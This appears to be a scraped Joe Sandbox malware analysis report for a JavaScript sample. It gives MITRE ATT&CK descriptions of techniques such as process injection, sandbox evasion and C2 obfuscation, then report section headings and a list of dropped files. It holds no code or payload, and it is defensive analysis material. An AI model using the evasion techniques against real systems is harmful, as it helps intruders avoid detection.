Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 13134167581645321294.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a9dae6cf-e1cf-49d3-8918-2771f5899db2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6152

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
13134167581645321294.js